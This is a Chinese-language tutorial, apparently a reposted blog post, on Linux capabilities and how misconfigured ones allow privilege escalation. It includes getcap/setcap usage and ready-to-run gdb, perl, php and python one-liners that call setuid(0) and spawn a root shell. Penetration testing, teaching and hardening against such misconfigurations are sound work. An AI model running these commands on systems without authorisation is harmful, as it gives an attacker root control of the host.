Linux提权(capabilities)
时间:2020-10-21
本文章向大家介绍Linux提权(capabilities),主要包括Linux提权(capabilities)使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
0x00 Capabilities入门
什么是Capabilities
Linux的Root用户拥有最高的权限,可以对几乎系统中的任何文件进行操作。然而普通用户如何操作一些高权限的文件?
在Linux中存在两种方法:
第一种是在执行的命令前加上sudo,这样就会以Root的身份进行操作。
第二种方法是设置SUID或SGID,这样虽然会以原用户的身份进行操作,但是获得了操作权限。
SUID和SGID存在安全隐患,因为某文件设置了之后普通用户将会获得广范围的操作权限。
为了避免这种安全隐患,Linux内核 2.2 之后引入了Capabilities机制。什么是Capabilities机制哪?
原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。
细分后的特权:
capability名称 | 描述 |
---|---|
CAPAUDITCONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
CAPAUDITREAD | 允许通过 multicast netlink 套接字读取审计日志 |
CAPAUDITWRITE | 将记录写入内核审计日志 |
CAPBLOCKSUSPEND | 使用可以阻止系统挂起的特性 |
CAP_CHOWN | 修改文件所有者的权限 |
CAPDACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAPDACREAD_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
CAP_FSETID | 允许设置文件的 setuid 位 |
CAPIPCLOCK | 允许锁定共享内存片段 |
CAPIPCOWNER | 忽略 IPC 所有权检查 |
CAP_KILL | 允许对不属于自己的进程发送信号 |
CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
CAPLINUXIMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
CAPMACADMIN | 允许 MAC 配置或状态更改 |
CAPMACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAP_MKNOD | 允许使用 mknod() 系统调用 |
CAPNETADMIN | 允许执行网络管理任务 |
CAPNETBIND_SERVICE | 允许绑定到小于 1024 的端口 |
CAPNETBROADCAST | 允许网络广播和多播访问 |
CAPNETRAW | 允许使用原始套接字 |
CAP_SETGID | 允许改变进程的 GID |
CAP_SETFCAP | 允许为文件设置任意的 capabilities |
CAP_SETPCAP | 参考 capabilities man page |
CAP_SETUID | 允许改变进程的 UID |
CAPSYSADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
CAPSYSBOOT | 允许重新启动系统 |
CAPSYSCHROOT | 允许使用 chroot() 系统调用 |
CAPSYSMODULE | 允许插入和删除内核模块 |
CAPSYSNICE | 允许提升优先级及设置其他进程的优先级 |
CAPSYSPACCT | 允许执行进程的 BSD 式审计 |
CAPSYSPTRACE | 允许跟踪任何进程 |
CAPSYSRAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
CAPSYSRESOURCE | 忽略资源限制 |
CAPSYSTIME | 允许改变系统时钟 |
CAPSYSTTY_CONFIG | 允许配置 TTY 设备 |
CAP_SYSLOG | 允许使用 syslog() 系统调用 |
CAPWAKEALARM | 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器) |
Capabilities使用
查询
getcap [路径]
## 查询全部
getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null
设置
## 多个Capabilities以分号划分
setcap [Capabilities名称]=eip [路径]
## 设置多个案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
设置时路径要指定源文件,不可以是链接文件,如果报错可以查看是不是路径指定的为链接文件
删除
setcap -r [路径]
0x01 提权实例
setuid
通过setuid可以将进程执行用户设置为root,以达到获取root权限效果
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 执行命令
## gdb调用python debug调试;在shell中启动python的命令为python2,在gdb中也为python
## -nx 不初始化脚本
-
无
-
有
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
-
无
-
有
php
php -r "posix_setuid(0); system('/bin/sh');"
出现如下时
需要安装php-posix
yum install php-posix
## centos中命令
- 无
- 有
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
- 无
- 有
参考
https://www.freebuf.com/articles/system/251182.html
https://blog.csdn.net/alex_yangchuansheng/article/details/102796001
原文地址:https://www.cnblogs.com/Wuser/p/13842280.html
- objC与js通信实现--WebViewJavascriptBridge
- 简单易学的机器学习算法——岭回归(Ridge Regression)
- QQ空间(日志、说说、个人信息)python爬虫源码(一天可抓取 400 万条数据)
- 文本分类实战: 机器学习vs深度学习算法对比(附代码)
- ReactJS分析之入口函数render
- 简单易学的机器学习算法——SVD奇异值分解
- AngularJS源码分析之依赖注入$injector
- 使用yield进行异步流程控制
- 【Java提高十七】Set接口集合详解
- 如何科学地蹭热点:用python爬虫获取热门微博评论并进行情感分析
- 使用ETag进行session的降级
- 关于oracle中的反连接(r3笔记第95天)
- 用Python爬取网易云音乐的用户评论文本
- grunt任务之seajs模块打包
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- kafka生产者和消费者的基本操作
- 05 Confluent_Kafka权威指南 第五章: kafka内部实现原理
- 关于leetcode第718题求长度最长的公共子数组的解析
- JAVA类加载过程&主动引用和被动引用
- 关于leetcode第56题合并重复区间的解析
- java-覆盖equals和hashcode方法
- java-单链表反转解法及分析
- JAVA-判断两个单链表是否相交并求交点
- 删除排序数组中重复元素的方法
- zookeeper-3.4.10伪集群模式搭建及简单操作
- 04 Confluent_Kafka权威指南 第四章: kafka消费者:从kafka读取数据
- JAVA中的单例模式分析(doublecheck和枚举实现)
- 有关JAVA自动装箱-拆箱的分析
- 10 Confluent_Kafka权威指南 第十章:监控kafka
- 解决elasticsearch“Too many open files in system”问题